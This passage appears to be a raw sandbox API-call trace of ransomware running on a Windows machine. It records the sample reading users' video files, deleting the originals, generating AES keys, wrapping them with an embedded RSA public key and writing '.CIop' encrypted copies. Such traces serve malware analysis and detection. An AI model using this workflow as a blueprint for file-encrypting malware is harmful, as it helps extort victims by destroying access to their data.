/yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0102.487] lstrcpyW (in: lpString1=0x312f368, lpString2="3IveDjbz33f.mkv" | out: lpString1="3IveDjbz33f.mkv") returned="3IveDjbz33f.mkv" [0102.487] lstrcpyW (in: lpString1=0x312f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" [0102.487] SetErrorMode (uMode=0x1) returned 0x1 [0102.487] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\3IveDjbz33f.mkv") returned 57 [0102.487] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\3IveDjbz33f.mkv", dwFileAttributes=0x20) returned 1 [0102.487] StrStrW (lpFirst="3IveDjbz33f.mkv", lpSrch=".CIop") returned 0x0 [0102.487] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\3IveDjbz33f.mkv.CIop") returned 62 [0102.487] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\3IveDjbz33f.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\3ivedjbz33f.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x608 [0102.488] ReadFile (in: hFile=0x608, lpBuffer=0x2f04f88, nNumberOfBytesToRead=0x10a15, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f04f88*, lpNumberOfBytesRead=0x312e5e8*=0x10a15, lpOverlapped=0x0) returned 1 [0102.489] CloseHandle (hObject=0x608) returned 1 [0102.489] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\3IveDjbz33f.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\3ivedjbz33f.mkv")) returned 1 [0102.514] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ee0000 [0102.514] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3270000 [0102.514] SetErrorMode (uMode=0x1) returned 0x1 [0102.514] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x2f1a4d8) returned 1 [0102.523] CryptGenKey (in: hProv=0x2f1a4d8, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x699140) returned 1 [0102.561] CryptExportKey (in: hKey=0x699140, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0102.561] CryptExportKey (in: hKey=0x699140, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3270000, pdwDataLen=0x312e5ec | out: pbData=0x3270000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0102.561] CryptDestroyKey (hKey=0x699140) returned 1 [0102.561] CryptReleaseContext (hProv=0x2f1a4d8, dwFlags=0x0) returned 1 [0102.561] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\3IveDjbz33f.mkv.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\3ivedjbz33f.mkv.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c0 [0102.562] WriteFile (in: hFile=0x2c0, lpBuffer=0x2f04f88*, nNumberOfBytesToWrite=0x10a15, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f04f88*, lpNumberOfBytesWritten=0x312e5d8*=0x10a15, lpOverlapped=0x0) returned 1 [0102.563] SetFilePointer (in: hFile=0x2c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10a15 [0102.563] WriteFile (in: hFile=0x2c0, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0102.563] SetFilePointer (in: hFile=0x2c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10a1c [0102.563] SetErrorMode (uMode=0x1) returned 0x1 [0102.563] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0102.563] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0102.563] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0102.563] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x2f1aab0) returned 1 [0102.566] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1aab0, dwCertEncodingType=0x1, pInfo=0x692158, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x5d6a88) returned 1 [0102.566] CryptEncrypt (in: hKey=0x5d6a88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0102.566] CryptEncrypt (in: hKey=0x5d6a88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1aa28*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1aa28*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0102.566] WriteFile (in: hFile=0x2c0, lpBuffer=0x2f1aa28*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1aa28*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0102.566] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.567] VirtualFree (lpAddress=0x2ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.568] VirtualFree (lpAddress=0x3270000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.568] CloseHandle (hObject=0x2c0) returned 1 [0102.569] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\3IveDjbz33f.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\3ivedjbz33f.mkv")) returned 0 Thread: id = 189 os_tid = 0x764 [0102.490] lstrcpyA (in: lpString1=0x326e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0102.490] lstrcpyW (in: lpString1=0x326f368, lpString2="VYNmKqyqyi.mkv" | out: lpString1="VYNmKqyqyi.mkv") returned="VYNmKqyqyi.mkv" [0102.490] lstrcpyW (in: lpString1=0x326f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0102.490] SetErrorMode (uMode=0x1) returned 0x1 [0102.490] wsprintfW (in: param_1=0x326eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\VYNmKqyqyi.mkv") returned 47 [0102.490] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\VYNmKqyqyi.mkv", dwFileAttributes=0x20) returned 1 [0102.490] StrStrW (lpFirst="VYNmKqyqyi.mkv", lpSrch=".CIop") returned 0x0 [0102.490] wsprintfW (in: param_1=0x326e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\VYNmKqyqyi.mkv.CIop") returned 52 [0102.490] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\VYNmKqyqyi.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\vynmkqyqyi.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x608 [0102.491] ReadFile (in: hFile=0x608, lpBuffer=0x656668, nNumberOfBytesToRead=0x12f0d, lpNumberOfBytesRead=0x326e5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x326e5e8*=0x12f0d, lpOverlapped=0x0) returned 1 [0102.492] CloseHandle (hObject=0x608) returned 1 [0102.492] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\VYNmKqyqyi.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\vynmkqyqyi.mkv")) returned 1 [0102.494] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0102.494] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0102.495] SetErrorMode (uMode=0x1) returned 0x1 [0102.495] CryptAcquireContextW (in: phProv=0x326e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x326e5b8*=0x2f1a560) returned 1 [0102.504] CryptGenKey (in: hProv=0x2f1a560, Algid=0x1, dwFlags=0x4000, phKey=0x326e5bc | out: phKey=0x326e5bc*=0x6487f8) returned 1 [0102.611] CryptExportKey (in: hKey=0x6487f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x326e5ec | out: pbData=0x0*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0102.611] CryptExportKey (in: hKey=0x6487f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x326e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0102.611] CryptDestroyKey (hKey=0x6487f8) returned 1 [0102.611] CryptReleaseContext (hProv=0x2f1a560, dwFlags=0x0) returned 1 [0102.611] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\VYNmKqyqyi.mkv.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\vynmkqyqyi.mkv.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x604 [0102.620] WriteFile (in: hFile=0x604, lpBuffer=0x656668*, nNumberOfBytesToWrite=0x12f0d, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x326e5d8*=0x12f0d, lpOverlapped=0x0) returned 1 [0102.622] SetFilePointer (in: hFile=0x604, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12f0d [0102.622] WriteFile (in: hFile=0x604, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x326e5d8*=0x7, lpOverlapped=0x0) returned 1 [0102.622] SetFilePointer (in: hFile=0x604, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12f14 [0102.622] SetErrorMode (uMode=0x1) returned 0x1 [0102.622] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0102.622] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0102.622] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x326d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598 | out: pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598) returned 1 [0102.622] CryptAcquireContextW (in: phProv=0x326d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x326d5a8*=0x2f1b088) returned 1 [0102.626] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1b088, dwCertEncodingType=0x1, pInfo=0x691868, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x326d5b0 | out: phKey=0x326d5b0*=0x6487f8) returned 1 [0102.626] CryptEncrypt (in: hKey=0x6487f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x326d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x326d5b4*=0x80) returned 1 [0102.626] CryptEncrypt (in: hKey=0x6487f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1a9a0*, pdwDataLen=0x326d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1a9a0*, pdwDataLen=0x326d5a4*=0x80) returned 1 [0102.626] WriteFile (in: hFile=0x604, lpBuffer=0x2f1a9a0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1a9a0*, lpNumberOfBytesWritten=0x326e5d8*=0x80, lpOverlapped=0x0) returned 1 [0102.626] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.627] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.627] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.627] CloseHandle (hObject=0x604) returned 1 [0102.629] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\VYNmKqyqyi.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\vynmkqyqyi.mkv")) returned 0 Thread: id = 190 os_tid = 0xe0c [0102.607] lstrcpyA (in: lpString1=0x347e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0102.607] lstrcpyW (in: lpString1=0x347f368, lpString2="Xj74 9 m.flv" | out: lpString1="Xj74 9 m.flv") returned="Xj74 9 m.flv" [0102.607] lstrcpyW (in: lpString1=0x347f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0102.607] SetErrorMode (uMode=0x1) returned 0x1 [0102.607] wsprintfW (in: param_1=0x347eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\Xj74 9 m.flv") returned 45 [0102.608] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\Xj74 9 m.flv", dwFileAttributes=0x20) returned 1 [0102.608] StrStrW (lpFirst="Xj74 9 m.flv", lpSrch=".CIop") returned 0x0 [0102.608] wsprintfW (in: param_1=0x347e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\Xj74 9 m.flv.CIop") returned 50 [0102.608] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\Xj74 9 m.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xj74 9 m.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c0 [0102.608] ReadFile (in: hFile=0x2c0, lpBuffer=0x685cd0, nNumberOfBytesToRead=0x33ef, lpNumberOfBytesRead=0x347e5e8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesRead=0x347e5e8*=0x33ef, lpOverlapped=0x0) returned 1 [0102.609] CloseHandle (hObject=0x2c0) returned 1 [0102.609] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\Xj74 9 m.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xj74 9 m.flv")) returned 1 [0102.630] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0102.630] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0102.630] SetErrorMode (uMode=0x1) returned 0x1 [0102.630] CryptAcquireContextW (in: phProv=0x347e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x347e5b8*=0x2f1a4d8) returned 1 [0102.640] CryptGenKey (in: hProv=0x2f1a4d8, Algid=0x1, dwFlags=0x4000, phKey=0x347e5bc | out: phKey=0x347e5bc*=0x67dbf8) returned 1 [0102.693] CryptExportKey (in: hKey=0x67dbf8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x347e5ec | out: pbData=0x0*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0102.693] CryptExportKey (in: hKey=0x67dbf8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x347e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0102.693] CryptDestroyKey (hKey=0x67dbf8) returned 1 [0102.693] CryptReleaseContext (hProv=0x2f1a4d8, dwFlags=0x0) returned 1 [0102.693] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\Xj74 9 m.flv.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xj74 9 m.flv.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x634 [0102.821] WriteFile (in: hFile=0x634, lpBuffer=0x685cd0*, nNumberOfBytesToWrite=0x33ef, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesWritten=0x347e5d8*=0x33ef, lpOverlapped=0x0) returned 1 [0102.822] SetFilePointer (in: hFile=0x634, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x33ef [0102.822] WriteFile (in: hFile=0x634, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x347e5d8*=0x7, lpOverlapped=0x0) returned 1 [0102.822] SetFilePointer (in: hFile=0x634, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x33f6 [0102.822] SetErrorMode (uMode=0x1) returned 0x1 [0102.822] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0102.822] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0102.822] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x347d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598 | out: pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598) returned 1 [0102.822] CryptAcquireContextW (in: phProv=0x347d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x347d5a8*=0x2f1a6f8) returned 1 [0102.825] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1a6f8, dwCertEncodingType=0x1, pInfo=0x691e18, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x347d5b0 | out: phKey=0x347d5b0*=0x67ea38) returned 1 [0102.825] CryptEncrypt (in: hKey=0x67ea38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x347d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x347d5b4*=0x80) returned 1 [0102.825] CryptEncrypt (in: hKey=0x67ea38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1a450*, pdwDataLen=0x347d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1a450*, pdwDataLen=0x347d5a4*=0x80) returned 1 [0102.825] WriteFile (in: hFile=0x634, lpBuffer=0x2f1a450*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1a450*, lpNumberOfBytesWritten=0x347e5d8*=0x80, lpOverlapped=0x0) returned 1 [0102.825] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.825] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.825] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.825] CloseHandle (hObject=0x634) returned 1 [0102.826] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\Xj74 9 m.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xj74 9 m.flv")) returned 0 Thread: id = 191 os_tid = 0xe04 [0102.653] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 